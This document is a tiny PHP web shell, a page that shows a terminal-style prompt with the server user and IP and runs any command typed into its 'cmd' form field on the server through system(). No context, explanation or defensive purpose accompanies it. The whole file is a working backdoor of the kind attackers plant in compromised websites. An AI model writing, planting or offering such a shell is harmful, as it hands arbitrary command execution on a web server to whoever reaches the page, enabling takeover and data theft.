cli

 <html>
<body>
<?php $svrip = $_SERVER['SERVER_ADDR'];?>
<form method="POST" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<?=`whoami`."@".$svrip.":~$"?> <input type="text" name="cmd" autofocus id="cmd" size="50"><input type="submit" value="Execute">
</form>
<pre>
<?php
    if(isset($_POST['cmd']))
    {
        system(htmlspecialchars($_POST['cmd']));
    }
?>
</pre>
</body>
</html>